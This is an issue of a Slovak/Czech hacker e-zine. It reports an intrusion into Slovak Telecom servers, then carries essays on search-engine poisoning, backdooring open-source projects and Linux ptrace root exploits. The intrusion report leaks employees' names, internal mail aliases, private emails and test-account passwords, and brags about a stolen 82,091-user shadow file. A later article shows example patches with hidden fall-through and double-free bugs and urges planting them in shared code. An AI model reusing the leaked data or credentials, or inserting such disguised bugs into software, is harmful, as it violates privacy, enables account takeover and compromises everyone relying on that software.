29306 300 0 May 06 ? 0:07 /www/bin/httpd -DSSL root 310 1 0 Apr 15 ? 0:00 /usr/local/sbin/sshd nobody 26241 300 0 May 06 ? 0:06 /www/bin/httpd -DSSL oracle 241 1 0 Apr 15 ? 0:00 ora_pmon_cat oracle 222 1 0 Apr 15 ? 0:02 /opt/oracle/app/oracle/product/8.0.5./bin/tnslsnr LISTENER -inherit oracle 243 1 0 Apr 15 ? 0:00 ora_dbw0_cat oracle 245 1 0 Apr 15 ? 0:00 ora_lgwr_cat oracle 247 1 0 Apr 15 ? 4:56 ora_ckpt_cat oracle 249 1 0 Apr 15 ? 0:04 ora_smon_cat oracle 251 1 0 Apr 15 ? 0:00 ora_reco_cat root 278 1 0 Apr 15 ? 0:00 /usr/lib/utmpd mailman 13503 177 0 21:59:00 ? 0:00 sh -c /usr/local/bin/python -S /export/home/mailman/cron/qrunner root 13522 13334 0 22:00:24 ? 0:00 ps -aAf root 330 320 0 Apr 15 ? 0:00 /usr/lib/saf/ttymon root 300 1 0 Apr 15 ? 0:01 /www/bin/httpd -DSSL root 10751 13771 0 19:00:15 ? 0:00 /opt/rav/bin/ravmd nobody 26132 300 0 May 06 ? 0:06 /www/bin/httpd -DSSL root 13480 8494 0 21:57:36 ? 0:00 /usr/lib/sendmail -bd -q15m mailman 13504 13503 95 21:59:00 ? 1:21 /usr/local/bin/python -S /export/home/mailman/cron/qrunner nobody 26129 300 0 May 06 ? 0:07 /www/bin/httpd -DSSL nobody 28605 300 0 May 06 ? 0:07 /www/bin/httpd -DSSL ravms 8619 1 0 Apr 16 ? 8:21 /opt/rav/bin/RAVMilter -d root 13771 13770 0 Apr 16 ? 1:51 /opt/rav/bin/ravmd nobody 29308 300 0 May 06 ? 0:07 /www/bin/httpd -DSSL root 13770 1 0 Apr 16 ? 0:00 /opt/rav/bin/ravmd root 13509 8494 0 21:59:41 ? 0:00 /usr/lib/sendmail -bd -q15m nobody 26133 300 0 May 06 ? 0:06 /www/bin/httpd -DSSLeste nejaky ten ls 🙂
drwxr-xr-x 14 root root 512 Apr 30 13:01 . drwxr-xr-x 4 root root 512 Mar 14 2002 .. drwxr-xr-x 2 ciscops other 512 May 11 22:11 ciscops drwxr-xr-x 3 rkaloc other 512 Jan 17 15:00 kaloc drwxr-xr-x 4 katuska other 512 Feb 24 14:41 katuska drwxr-xr-x 414 kocur other 20480 May 9 11:43 kocur drwxr-xr-x 2 loboivan other 512 Mar 3 09:49 loboivan drwx------ 2 root root 8192 Mar 12 2002 lost+found lrwxrwxrwx 1 root other 12 Jun 6 2002 mailman -> /opt/mailman drwxr-xr-x 20 maruniak other 1536 May 9 10:29 maruniak drwxr-xr-x 3 moravcik other 512 Mar 1 12:19 moravcik drwxr-xr-x 2 oracle dba 1024 May 10 23:50 oracle drwxr-xr-x 3 oracle dba 512 Mar 14 2002 oramount01 drwxr-xr-x 2 root other 512 Nov 19 12:00 telecom drwxr-xr-x 4 102 other 512 Nov 21 08:37 zarnoviclogserver je zaujimavy stroj z viacerych dovodov, nehladiac na to, ze sa tam ukladaju logy z kazdeho cisca na sieti, sme prave tu nasli vela roznych backupov, takym prikladom je jeden oracle dump:
root@smrad:/# du -hs telz.dmp.gz 127M telz.dmp.gz root@smrad:/#s tymto je hned spojena aj nova sluzba hysterky, najdete ju na http://hysteria.sk/zoznamst dalsi velmi podstatny ulovok je backup z jedneho pravdepodobne “maleho bezvyznamneho” serveru
root@smrad:/# wc -l shadow 82091 shadow root@smrad:/#82091 uzivatelov, to je v celku dost na to aby to boli vsetci zakaznici teleko ropuchy na Slovensku. A asi to tak bude (po par experimentoch s niektorymi kontami sa dobrodruhovia o tom presvedcili). Zaujimalo by ma ci na toto telecom zareaguje a zacne menit vsetkym zakaznikom hesla :). dalej uz len tak chaoticky napriklad telefonne cisla adminov (predpokladam :))
kocurmobil: [email protected] kalocmobil: [email protected] webmaster: gajdos,blazicek,marketing,[email protected],[email protected] gdsmaster: kovesi,levicky gdsprofimaster: gajdos,blazicek mailmaster: kocur,katuska,maruniak news-admin: [email protected] newsmaster: [email protected] hostmaster: katuska,maruniak hostm-stonline: domeny,hotline,hornik,mbalog,janaslov,kracunov postmaster: kocur,hornik #alarm: puskajr #cisco-bgp:[email protected],[email protected],[email protected],[email protected],smolen stip: stip-l webhousing: stip-l vpdn: stip-l infovek: [email protected],[email protected],[email protected],[email protected];[email protected] mate: [email protected] klaudia: [email protected] moravcik: moravcik,[email protected] mail_add: "|/export/www/veci/telemail/mail_add.php3" hornikova: hornik jana.hornikova: hornik balog: mbalog sossms: [email protected] test-l: [email protected] test-l-admin: [email protected] test-l-request: [email protected] test-l-owner: [email protected] cisco-l: [email protected] cisco-l-admin: [email protected] cisco-l-request: [email protected] cisco-l-owner: [email protected] stadmin-l: [email protected] stadmin-l-admin: [email protected] stadmin-l-request: [email protected] stadmin-l-owner: [email protected] net-l: [email protected] net-l-admin: [email protected] net-l-request: [email protected] net-l-owner: [email protected] untech-l: [email protected] untech-l-admin: [email protected] untech-l-request: [email protected] untech-l-owner: [email protected] techgroup-l: [email protected] techgroup-l-admin: [email protected] techgroup-l-request: [email protected] techgroup-l-owner: [email protected] stip-l: [email protected] stip-l-admin: [email protected] stip-l-request: [email protected] stip-l-owner: [email protected]
ak chcete zavolat adminom telecomu nech sa paci 🙂 dalsim takym zaujimavim fajlom je /etc/passwd (aj /etc/shadow ale ten si nechame radsej pre seba ;))
mihalek:x:1554:101:Mihalek Peter Ing.:/export/home/telecom/mihalek:/etc/dial-sh babcanova:x:1555:101:Babcanova Jozefina Ing.:/export/home/telecom/babcanova:/etc/dial-sh guran:x:1556:101:Guran Dezider Ing.:/export/home/telecom/guran:/etc/dial-sh tibor.o:x:1566:101:Tibor Olejka:/export/home/telecom/tibor.o:/etc/dial-sh smolen:x:1567:10:Magda Smolenova:/export/home/telecom/smolen:/bin/tcsh ke:x:1568:101:Zosilovacka Kosice:/export/home/telecom/ke:/etc/dial-sh tn:x:1569:101:Zosilovacka Trencin:/export/home/telecom/tn:/etc/dial-sh po:x:1576:101:Zosilovacka Presov:/export/home/telecom/po:/etc/dial-sh za:x:1575:101:Zosilovacka Zilina:/export/home/telecom/za:/etc/dial-sh po:x:1576:101:Zosilovacka Presov:/export/home/telecom/po:/etc/dial-sh christen:x:1579:101:RNDr. Christenko Sergej:/export/home/telecom/christen:/etc/dial-sh kovacic:x:1580:101:Mgr. Kovacic, ved. odboru:/export/home/telecom/kovacic:/etc/dial-sh gotzman:x:1581:101:Ing. Gotzman Jozef, ved. odboru:/export/home/telecom/gotzman:/etc/dial-sh ambros:x:1584:101:Ing. Ambros Otomar, ved. odboru:/export/home/telecom/ambros:/etc/dial-sh takac:x:1585:101:Ing. Takac Frantisek, ved. projektu:/export/home/telecom/takac:/etc/dial-sh stancel:x:1586:101:Mgr. Stancel, Poradca g. r.:/export/home/telecom/stancel:/etc/dial-sh simasek:x:1589:101:Ing. Simasek Lubomir, specialista:/export/home/telecom/simasek:/etc/dial-sh himalaje:x:1626:101:Dezider Guran Ing., veduci odboru TIS:/export/home/telecom/himalaje:/etc/dial-sh jurkov:x:1628:101:Jurkovic Marian Ing., CMSS Intranet, Extranet :/export/home/telecom/jurkov:/etc/dial-sh frantise:x:1629:101:Dudik Frantisek Ing., Riaditel sekcie prevadzky, Ustredie:/export/home/telecom/frantise:/etc/dial-sh kurz13:x:1631:101:Skoliace stredisko Lamac,Ba:/export/home/telecom/kurz13:/etc/dial-sh kurz4:x:1632:101:Skoliace stredisko Lamac,Ba:/export/home/telecom/kurz4:/etc/dial-sh
/etc/dial-sh ktory ma vacsina userov ako shell vzyera takto:
#!/bin/sh echo echo "Zmena uzivatelskeho hesla" echo "-------------------------" /bin/passwd exit
teta magda bude asi nejaky unix guru kedze ma ako shell nastaveny tcsh :))
Ocenitelne bolo ze sme si mohli sem tam pozriet do posty ludi pracujucich v ropuche, niektore maily boli naozaj velmi zabavne, takze nasleduje dalsia rubrika
Napisali nam
From: [email protected] (JKatuska) Date: Wed, 8 Jan 2023 09:22:33 +0100 Subject: nove test konta Analog: Login: ochranuj Passwd: prirodu ISDN: Login: trpezlivo Passwd: cakaj |Jano|
testovacie konta sa mozu vzdy hodit (skoda ze sa menia priblizne kazdy mesiac) no vlastne ono to ani taka skoda nie je kedze si ich kazdy mesiac pekne poslu mailom 🙂
Preco si vyletnikov v sieti telecomu nikto nevsima ? (verim ze nasi vyletnici neboli prvi ani posledni kto objavoval telecom ako kolumbus ameriku). Mozno je to adminmi, ale z nasledujuceho mailu skor vypliva ze je to niecim inym, teda k tomu kto sa stara o tuto “najvacsiu, najmodernejsiu, najrobustnejsiu,..blabla” siet, pravdepodobne prispieva to aky je pristup tych co sa staraju o to aby sa tocili financie. Oni sa asi aj tocia (urcite) ale z tohoto je dost jasne ze sa tocia smermy roznymi ale urcite nie tymi ktorymi by to bolo najvhodnejsie.
tu je jeden mail ktory vela vysvetluje, preco to v tejto spolocnosti vlastne je, tak ako to je:
From: [email protected] (Peter Maruniak) Date: Wed, 08 Jan 2023 13:52:34 +0100 Subject: vypoved In-Reply-To: <[email protected]> > dobry den > vzladom k skutocnostiam vyvoja nasej spolocnosti, > medziludskych vztahov a k > nedostatocnemu financnemu ohodnoteniu mojej osoby som sa rozhodol dat > vypoved z tejto spolocnosti. dovodov je podstatne viac ale k > definitivnemu > rozhodnutiu ma prinutilo az vzhliadnutie novembrovej vyplaty > v decembri. > dalej by som rad spomenul ludi, ktori neustale zasahuju do > mojej prace a do > prace celeho timu internetistov, a za svoje rozhodnutia > nenesu ziadnu > zodpovednost /dufam, ze sa v tomto maily spoznaju..../ a vedu tuto > spolocnost nevedno kam. v spolocnosti sa vynakladaju obrovske > prostriedky > na reklamne kampane, na nezmyselne projekty urcitych > lobistickych skupin, a > nezmyselne akcie ludskych zdrojov. tato spolocnost si nevie > udrzat mladych > perspektivnych zamestnancov, nevie ohodnotit ich pracu a dat > im perspektivu > do buducnosti. ak si niekto v tejto spolocnosti predstavuje > buducnost ako > marketingovu spolocnost bez prevadzky a ludi ktory > zabezpecuju fungovanie > tejto spolocnosti /vid. nazory na outsourcing/ tak je > optimista, ktoreho z > jeho sna preberie az skutocna realita. doteraz ma v tejto spolocnosti > drzali len cast internetoveho timu a cely tim odboru OPUS na cele s > ing.Caneckym, ktorym sa tymto sposobom chcem ospravedlnit za > moj odchod a > podakovat im za spolupracu. > > s pozdravom > > michal kaprinay S tymito nazormi musim len suhlasit, sam by som to lepsie nenapisal. Peter Maruniak
ak si niekto mysli, ze je drze bezohladne a neviem ake zverejnovat maily niektorych ludi tak argumentujeme tym ze je este viac drze a bezohladne brat od zakaznikov take peniaze ako ropucha berie a absolutne ignorovat stabilitu/bezpecnost/kvalitu sluzieb a vsetko vrazat len to absolutne stupidnych a primitivnych reklamnych plagatov/spotov a lobistickych skupin ? O tych bohuzial nasi smrtelnici vela nevedia takze sa k nim vyjadrit nemozu.
Spat do “reality”
v teleko ropuche pracuju evidentne aj zdatni coderi, ktory tvrdo odvadzaju svoju pracu, ako mzome vidiet z casti kodu jedneho zo zamestnancov, vzorovy priklad velmi zlozitej implementacie este zlozitejsieho algoritmu sme mohli najst… to sim to bol homedir uja kocura (ale to si uz nikto nepamata)
testc.c: main() { printf("Hello world.n"); }
muselo to dat vela namahy nieco take nacodit.
na logserver.telecom.sk sme nasli aj taketo veci vystup ls:
-rwxrwxrwx 1 root root 54 Mar 15 2002 sel -rwxrwxrwx 1 root root 18382 Mar 15 2002 serv.php3 -rwxrwxrwx 1 root root 18497 Mar 15 2002 serv.php3~ -rwxrwxrwx 1 root root 11315 Mar 15 2002 serv.php3~~ -rwxrwxrwx 1 root root 1364 Mar 15 2002 servis.html -rwxrwxrwx 1 root root 1322 Mar 15 2002 servis.html~ -rwxrwxrwx 1 root root 15614 Mar 15 2002 sprs.php3 -rwxrwxrwx 1 root root 15605 Mar 15 2002 sprs.php3~ -rwxrwxrwx 1 root root 8186 Mar 15 2002 sprszal.php3 -rwxrwxrwx 1 root root 111 Mar 15 2002 stri.php3 -rwxrwxrwx 1 root root 106 Mar 15 2002 stri.php3~ -rwxrwxrwx 1 root root 384 Mar 15 2002 u.php3 -rwxrwxrwx 1 root root 382 Mar 15 2002 u.php3~ -rwxrwxrwx 1 root root 2262 Mar 15 2002 upnas.php3
world writeble php skripty… to hovori same za seba.
Je uplne jasne ze ludia v telecome sa riadia svojimi reklamnymi sloganmi, ako napriklad “Dostante sa rychlo vsade tam, kam potrebujete” – u telecomu to plati dvojnasobne. Len dostavat sa vsade tam kam potrebujete u niekoho kto prevadzkuje napriklad linky VUBcky. A este by radi prevadzkovali govnet ? HA – HA – HA. Uz vidim ako sa osobne udaje kazdeho cloveka na slovensku lezia kade tade na diskoch najroznejsich ludoch z celeho sveta.
Zaver
co dodat na zaver ? neviem ci treba este nieco dodavat, ten zaver je tu skor len aby bol 🙂 Pravdepodobne sa v tejto organizacii tak skoro nic nezmeni a stale to bude tak ako je a vsade sa budu pouzivat uzivatelia typu jozko a k tomu hesla jozko123. Ale cele to predsa nie je len o heslach. Je velmi smutne ze firma ktora sa chce tvarit profesionalne (aj ked z tej primitivnej reklamy vela profesionalnosti nepozera, ale traba brat ohlad aj na to na akom sme trhu… slovensky obcan ma reklamu taku aku je schopny vo vacsine stravit, ale spat k tomu smutku 🙂 este raz hovorim ze je smutne ze si niekto rok nevsimne ze ma niekto uplny pristup do jeho velkej siete. A vyletnici robili uz taky bordel okolo seba ze by si to vsimol aj hluchy a slepy admin. Robia v tom telecome vobec nejaki admini ? Alebo proste o tom vedeli a nechali to tak aby niekomu nieco dokazali ? Mozno pride od niekoho vysvetlenie ale skor nie. Obraz si urobi kazdy sam.
a na uplny zaver mala bajka:
bajka o ropuche a volovi. bola raz jedna ropucha a jeden vol. ropucha chcela byt taka velka ako ten vol, tak sa nafukla az praskla
tr1uh0rky, tr1uh0rky(at)hysteria.sk
navrat na obsah
co ty na to ? board
aj vas fascinuju zaporaci vo filmoch, ktori maju vzdy genialny napad ako nastolit na nasej peknej modro-zelenej (coskoro cierno-sedej) planete totalny chaos? na realizaciu ich planov treba obycajne dobre zazemie (minimalne nejaky opusteny ranc), kontakty smerom na tranzsibirsku magistralu a hodne prachov. mna napadli dva sposoby, ktore su mozno utopiou – tak ako v spominanych filmoch [a mozno aj nie :-)], ale co ak predsa..
g@@gle nas kamarat
pekne sa priznajte, co spravite ked narazite na problem ktory uz neviete ako riesit [mozno uz aj po par bezsennych nociach]. ked si odmyslim, ze najprv vo vas prevladne duch lamera a spytate sa kamarata [zopar takych teepkov, co vysia na irc a rozdavaju svoje advanced vedomosti bars komu poznam] tak dalsi logicky krok je navstivit oblubeny vyhladavac [google, ze? :)]. no vy tam natukate pekne co hladate, google vam vypluje pekne zoradene odpovede, kde zvycajne je to co hladate medzi prvymi linkami [predpokladam, ze viete v pohode formulovat dotaz]. pekne nam to funguje, co? niekedy mam taky pocit, ze keby sa predaval divajs, ktory by bol velkosti naramkovych hodiniek a mal by v sebe celu databazu google, aj s nacacheovanymi strankami, tak by nam bolo hej 🙂 [kazdopadne mam z dobreho zdroja, ze google nieco take predava ako box do intranetu firmy [len to asi nieje velke ako naramkove hodinky:-))]]. no dobre, podme ale k veci. o tom pomocou akych pravidiel si vyhladavace ukladaju a hodnotia jednotlive stranky v databazach sa rozpisovat nebudem, ale predstavte si, ze dokazate stranku na vlastnom servri prepracovat na prve miesto googlovskej odpovede na nejaky dotaz [najlepsie konkretny :-)] po lopate – natukam do google “linux repair filesystem” a na prvom mieste bude stranka, ktora bude suverenne tvrdit nieco na sposob “At first, you have to run mkfs [/DEV/DEVICE], then…”. No pre tych, co si myslia ze by to nezabralo mozu kludne rozpisat prikaz mkfs ako “Make checK File System”, fantazii sa medze nekladu 🙂 Ono sranda je jedna vec, ale co takto troska prachov? Ked dokazete dostat stranky niekoho firmy opat na prve miesto odpovedi pri hladani danej sluzby, nemusi to byt vobec na skodu 😉
“developeri”
ludia by sa castokrat cudovali, kto im vyvyja casti ich open source kodu. ci uz su to teepci na intrakoch, bradati oldsk00leri, alebo nejaki dalsi nahodni debian intelektuali zo zimbabwe, mavaju jedno spolocne. ich geek faktor je dostatocne vysoky na to, ze su tak zamerani na samotny vyvoj, ze castokrat zabudaju na to v akom stave maju svoje workstejsny. co tam po nich – myslia si, veriac, ze linuxove jadro 2.0.20 s ipfwadm vsetko vyriesi. len problem je v tom, ked zabudnu na to, ze kedysi nechali pustene ftp koli tomu aby im tam niekto uploadol nejaky fasa patch na recode alebo ine zverstvo. jednoducho dostat sa takymto developerom na masinu by nemusel byt az taky problem. nasleduje troska zlozitejsia cast – zanalyzovat styl akym je pisana aplikacia ktoru vyvyjaju, a vlozit do nej nenapadne vyzerajucu cast vlastneho evil kodu a tvarit sa ze sa nic nedeje. toto je taka dost zlozita cesta, ale mohla by zafungovat, kazdopadne skor, ci neskor na to niekto pride. v praxi sme mohli vidiet veci, ako patchnuty BitchX irc klient, alebo dokonca open-ssh a podobne. jednalo sa o jednoduchych trojanov, ktorych autori sa nespoliehali na to ze to tam dlho vydrzi a preto nechali trojana aktivovat uz pri instalacii – a preto bol ten trojan tak rychlo objaveny. pokial si ale myslite ze ste dost evil, tak skuste sa zamontovat do diskusii na roznych konferach, newsoch, irci a ked mate dobry plan, mozte ich skusit presvedcit o tom, ze nejaku cast kodu, alebo principialne fungovanie aplikacie robia zlym sposobom. no a mozno sa vam podari ich presvedcit na nejaky obdobne dobry system, ktory ale bude mat len vam znamu nenapadnu chybicku navrhu. tu si treba uvedomit, ze rozdiely medzi bugmi a featurami su castokrat velmi malicke 😉 v praxi sme mohli vidiet zle navrhnute protokoly uz dost casto, netvrdim, ze umyselne, ale to sa uz nikto nedozvie ;-))
ip_v6
ked sme uz pri tych featurach neda mi nespomenut v6. je to pekny protokol, ktory je ale na moj vkus az moc flexibilny. no ale ako to uz tak chodi, cim flexibilnejsi sa snazime byt, tym viac chyb sa narobi.. neskusal som zatial stacky OS na durabilitu voci roznym utokom, ale mozte si byt isti, ze pokial pri ipv4 existovali zle implementovane niektore zlozitejsie veci (fragmentacia, broadcast a podobne) tak u ipv6 to bude este zaujimavejsie. pri tolkych featurach to bude pre implementatorov pohroma. ved ked tak pozeram na vyvoj, tak je castokrat problem vobec spravne pochopit a implementovat RFC a nie to este osetrit nepopisane stavy :)) pri studiu v6 som si vypisal zopar zaujimavych poznamok, pre tych ktori uz zabrdli do ipv6 mozno nic nove, pre ostatnych ostava pockat na clanok o ipv6, alebo navstivit g@@gle 😉
maniac, maniac(at)hysteria.sk
navrat na obsah
co ty na to ? board
v dnesnim dile delani ruznych spatnosti se podivame na ten software zhusta uzivany cinskymi teroristy, nekdy tez zvany ‘opensource’.
opensource je hrozne fajn vec, umoznuje nam delat takrka vse s nulovymi naklady a kdyz se nam neco nelibi, zpravidla to nekdo opravi, kdyz budeme hodne kricet a spamovat zainteresovane maillisty dostatecne dlouho.
co je mene znamo je maly bug, nebo lepe receno featura OS vyplyvajici z toho co uz sem tu rek – totiz ze v pripade mnoha projektu ma kdokoli moznost prispet svym kouskem do celeho toho chaosu vyvijiciho se monstra. a v tom to, vazeni pani a damove, je. je to neco jako world-writable (+w) skript v /tmp kterej pousti root user…
inu, o co tedy jde.
rekneme ze tu existuje nejaky soft kterej pouziva pulka zemekoule, rekneme treba linux kernel. kdokoliv, komu se zamane, muze submitnout nejakou featuru a kdyz bude pro ni dostatecnej ohlas (neni problem si takovej ohlas, v podobe sebe-pochvalnych mailu do LKML, vytvorit :), velice pravdepodobne se objevi v dalsim releasu. sranda ovsem nastava v momente kdy umysly autora nebyly zase tak uplne cestne a implementoval do patche treba i maly, ale zpravidla komplikovany a na prvni pohled neviditelny, bug. takovy bug nemuze a ani nesmi byt neco trivialniho, jinak ho samozrejme zmerci maintaineri. takze zadne bufferoverfly, to je dneska pro deti. spis takove negativni reference do pole, logicke a race chyby (musi se sejit nekolik podminek v jednom casovem okamziku aby se dany bug projevil) – v takovem pripade je opravdu velice tezke chybu odhalit protoze clovek si musi projit vsechny moznosti jemiz algoritmus muze projit – samozrejme ze autor vi jak dane chyby zneuzit a take to udela, proc by ji jinak vytvarel 🙂
ze se toto nemuze stat ? ze project-maintaneri jsou opatrni a prohlizeji si vsechny submitnute patche radku po radce ? ale kus!
tak co treba takovy linux kernel a jeho (ne)chvalne proslaveny ptrace ? z poctu zpusobu jak ptracem dostat roota na kernelu 2.2.16 (existuji zde 3 ruzne fungujici ptrace bugy + exploity) mi vazne pripada ze zpusobu jak je ptrace v linuxu udelany byl nejaky skryty zamer, ma vsechny atributy vneseneho backdooru – je velmi dobre skryty a ve vsech pripadech se projevuje jen jako race condition, pokazde jineho charakteru ale vzdy vyplyvajici z chybne implementace.
jenom nutne seznameni v cem je problem u ptrace: kdokoliv na systemu lokalne muze “attachnout” bezici process jehoz je owner (i.e. uid “atakovaneho” procesu je stejne jako uid tracera, stejne tak pro gid a equivalenty euid, fsuid atd) v momente kdy mas attachnuty proces, muzes si snim delat co chces i kdyz se jeho uid zmenilo (tj. treba zapsat do nej shellcode ktery se spusti)
aby bylo jasno, tak na uvod mala historie ptrace bugu na linuxu:
ptrace #1 (found by cliph, ’98)
vychazel z velice primitivniho predpokladu jak fungoval execve() na linuxech < 2.2.19 pri davani prav procesu suid binarky. execve() checkoval (kdyz se spoustela suid binarka) jestli proces v kterem execuje neni trasovan nekym kym by trasovan byt nemel, a delal to hned na zacatku spousteciho procesu. _na konci_ a to je dulezite, teprv hodil procesu prava jestli se spustila suid binarka. takze pokud byl proces trasovan pred execve() vsecko v poradku, pokud nekdo skusil attach po execve() taky v poradku ponevadz uid se zmenilo. *ale* co kdyz nekdo attachnul uprostred execve() (nejlepe to jde zrovna ve chvili kdy disk nacita prvni stranku binarky, takze kernel “spi” v execve()). inu, check na ptrace byl negativni, ale nyni nam “attach” vysel, protoze execve() jeste nezmenil uid. takze jsme attachnuty k procesu, execve() se probudi a da procesu uid suid binarky (zpravidla root). no ale i tak mame proces stale pod kontrolou, takze tam jenom vlozime shellcode a jedem.
zpusob jakym se tato race case fixla taky neni uplne cisty: na konci, kdy se predavaji prava se proces lockne (takze nemuze byt attachnuty) zkontroluje se pritomnost ptrace flagu, pokud to nekdo pred tim attachnul prava se nepredaji. tato featura samozrejme vyustila v jiny bug, sice uz ne tak skodlivy, ale i tak (kdysi davno tim spousta lidi, vcetne me, cheatovala hackerslab :), totiz to ze kdokoliv muze “dump”-nout pres ptrace exec-only (a klidne i suid) binarku.
ptrace #2 (found by nergal, ’01)
je uz o neco slozitejsi, graficky by se to znazornilo takto:
rekneme ze mame 2 rovnopravne procesy, z pocatku neprivilegovane.
cas prvni proces druhy proces 0 ptrace(PTRACE_ATTACH, pid druheho procesu) 1 execve /usr/bin/newgrp 2 execve /usr/bin/passwd 3 execve /bin/sh (to udela newgrp) 4 execve ./insert_shellcode_to_process_2
takze co se deje. tento bug je velice elegantni a vyzaduje (jakoukoliv) setuid binarku ktera pobezi chvili jako root, ale pak spusti user shell. (to dela treba newgrp, su, screen …). v prvni chvili prvni proces attachne druhy proces, cimz se stava jeho parentem (tracer je vzdy parent tracovaneho). pak si tento proces na chvili “zabere” root prava tim ze spusti hocijakou suid binarku ktera pozdeji jenom hodi user shell. druhy proces ktery do teto chvile spal se probudi a jenom spusti jakoukoliv suid binarku. normalne by to neslo, protoze kernel by videl: aa, sem tracovanej a nekdo pousti suid binarku, tak to mu neprojde, *jenze* zde existovala vyjimka, a to predpoklad ze kdyz je parent uid == setuid binarky, je logicky vse v poradku (tj. aby slo hladce trasovat dropnuti prav a pak jejich znovunabyti pres execve), inu, takze execve projde, kernel spi v /usr/bin/passwd ktery hodil prompt na password. vzbudi se proces jedna (tj. newgrp) a spusti klasicky userovo shell. *jenze* tento shell je furt tracer, a ackoli jiz nema zadna prava, je furt parent a tracer prave beziciho uid 0 /usr/bin/passwd, takze se jen spusti binarka co zmeni code context /usr/bin/passwd shellcodem a je to.
ptrace #3 (found by cliph, ’03)
opet velice primitivni, asi nejjednodusi z rodiny ptrace bugu, ale rozhodne mu to neubira nic na ucinnosti. funkce tohoto bugu uz neni jen chybou v ptrace jako takovem, ale i ve stupidni implementaci kernel-threadu linuxu. v linuxu se totiz kernel thread vyrabi naprosto uchylnym zpusobem, a to tak ze se veme aktualni bezici proces a ten se fork()-ne a pak se vyslednemu procesu da uid 0 a dostane capability a pak se teprv pusti kernel thread funkce. co se stane mezi temito dvema operacemi, tj. mezi fork() a predani uid je jasne – ptrace attach a pockame si az proces dostane uid 0. protoze pak kernel-thread udela primo execve() (spousti /sbin/modprobe), takze dale uz bezi jako user process muzeme pouzit dalsi ptrace operace na vlozeni shellcode (ktery vytvori setuid root binarku / hodi rootshell na tcp port)
jak je vidno, charakter ptrace bugu je velice podezrely. uz jenom z faktu ze vsechny bugy nasli polaci 🙂 ne, mozne to sice je ze bugy v ptrace byly umyslne, ale buggy ptrace jako takovy je velice stary (uz od 1.x) kernelu a tenkrat se resili jeste buffer overflowy v kernelu. na druhou stranu je to krasny priklad jak se maji implementovat skryte backdoory do vetsich projektu.
jak backdoorovat
v podstate jsou praxi overene 2 postupy:
a) submitnout patch ktery implementuje bugfix/nejakou featuru jejiz soucasti je zasah do jinych struktur, kde se treba “zapomene” break ci return v switch() statementu takze vznikne double-free(), strcat do bufferu probehne 2x atd.
b) implementovat bug primo do featury v podobe logicke chyby (race condition…)
a) je jednodussi, takze s nim zacneme:
mejme takovyto soubor, ktery appendne do ‘buf’ o velikosti BUFSIZE. x/y/z podle toho co je ‘what’.
void dummy(char *buf, char *x, char *y, char *z, char *a, int what) { int len = strlen(buf); switch(what) { case 0: strncat(buf, x, BUFSIZE - len); break; case 1: strncat(buf, y, BUFSIZE - len); break; case 2: strncat(buf, z, BUFSIZE - len); break; } }
rekneme ze jsme implementovali novou featuru pro what == 3. patch, by vypadal zhruba asi takto:
--- old.c Wed May 28 17:22:47 2003 +++ new.c Wed May 28 17:23:25 2003 @@ -11,4 +11,6 @@ case 2: strncat(buf, z, BUFSIZE - len); + case 3: + strncat(buf, a, BUFSIZE - len); break; }
co se stane je asi jasne, pro what = 2 probehne i to co pro what = 3, se spatnou hodnotou pro strncat.
tento jednoduchy priklad vychazi z predpokladu ze lidi strncat povazuji automaticky za secure a vecina “auditu” techto patchu je grepovani pro sprintf/strcpy/strcat, nehlede na to ze drtiva vetsina maintaineru peclive prohlizi jen patche (takze rucne z nich vyripuj “orientacni” kod ktery se nepatchuje, ale ktery by mohl poodhalit kontext), vysledny kod je zajima jen kdyz patch(1) reportoval nejake nesrovnalosti.
b) a tady si zkusime jednu race condition, v davnych dobach sem tim chtel backdoornout jednu default suid binarku, ale muj patch nebyl dostatecne featureoidni, takze nebyl aplikovan, skoda.
v podstate slo o to implementovat timeout mechanismus, jak to zhruba fungovalo (pouze ilustracni priklady 🙂
struct context *ctx; void dummy() { ctx->i = read_user_input(); /* return NULL if empty input */ if (!ctx->i) { free(ctx) exit(0); } }
a muj patch vypadal asi takto:
--- old.c Wed May 28 17:37:18 2003 +++ new.c Wed May 28 17:38:41 2003 @@ -1,7 +1,17 @@ +#define TIMEOUT 60 + struct context *ctx; +void timeout(int d) +{ + free(ctx); + exit(0); +} + void dummy() { + signal(SIGALRM, timeout); + alarm(TIMEOUT); ctx->i = read_input(); /* return NULL if empty input */ if (!ctx->i) { free(ctx)
na *prvni* pohled neco docela nezavadneho, v podstate pokud user nezadal vstupni data, program se ukonci.
ale jak uz sem rek, tento patch byl evil 🙂 otazka totiz je, co by se stalo kdyby ve chvili mezi free() a exit() prisel alarm =< zavola se timeout() jez by ucinil free() znova. double free() je relativne dobre zdokumentovana technika a neni predmetem tohoto textiku. exploit by potom vypadal asi tak ze by spoustel, v mnoha threadech, danou binarku, pomoci volani ruznych argumentu na prikazovem radku vyrobil pozadovany heap state, a pak jenom skousel nacasovat spravny null input. statisticky vyjadreno je uspech zarucen behem nekolika minut. pokud se tento mechanismus komplikovane do neceho zabuduje, je takrka nemozne ho objevit, ale to je jeden z mnoha 🙂 pouzij svoji fantazii, nejsi omezen znamymi bugy, vlastne bugy nezname jsou velmi vitane, protoze to nikomu jen tak nedojde 🙂
to je pro dnesek vsecko – mam nakou jarni unavu (hi zyx, pisu ti to uz asi 2 tejdny, vaz si toho 🙂
takze az si stahnete, rozbalite a nainstalujete novyho apache a druhej den vam nekdo zmeni web, nedifte se – je to prece open source ;))
sd, sd(at)hysteria.sk
navrat na obsah
co ty na to ? board
mile deti, dnes vam budem povidat pohadku ktera se mozna stala, mozna ne, kdo vi, odpoved vam muze dat leda tak jisty serzant XXX z okrsku YYY z policejni stanice umistene na krasnem miste se skvelou vyhlidkou na cele mesto (kde se da dobre piratit wifi, btw) jmenem ZZZ, a vice ci mene se tyka jen jednoho clovicka jmenem CLOVICEK.
za devatero mesty, devatero nakupnimi stredisky, devatero dalnicnimi pohlcovaci hluku (ved hej, taketo veci podobne tej zdi v maticni, ved poznate) a devatero obytnymi ctvrtmi stal, nestal, rozpadal se ci nerozpadal nejlepsi vynalez z dob totality a betonove civilizace, osuntely panelak. byl to velice kvalitni panelak, stal tam jiz 18 let, stejne tak dlouho jak je na svete ten, o kom vam dnes budu vypravet.
a v tomto krasnem panelaku zil byl takovy maly clovicek. clovicek zil v klidu a miru v neustalem boji o udrzeni symbiozy s okolnim svetem, uspesne hazel problemy za hlavu a nic moc nikdy neresil dokud …
pi pi pi …. pi pi pi.
pipa mobil, prisla smska.
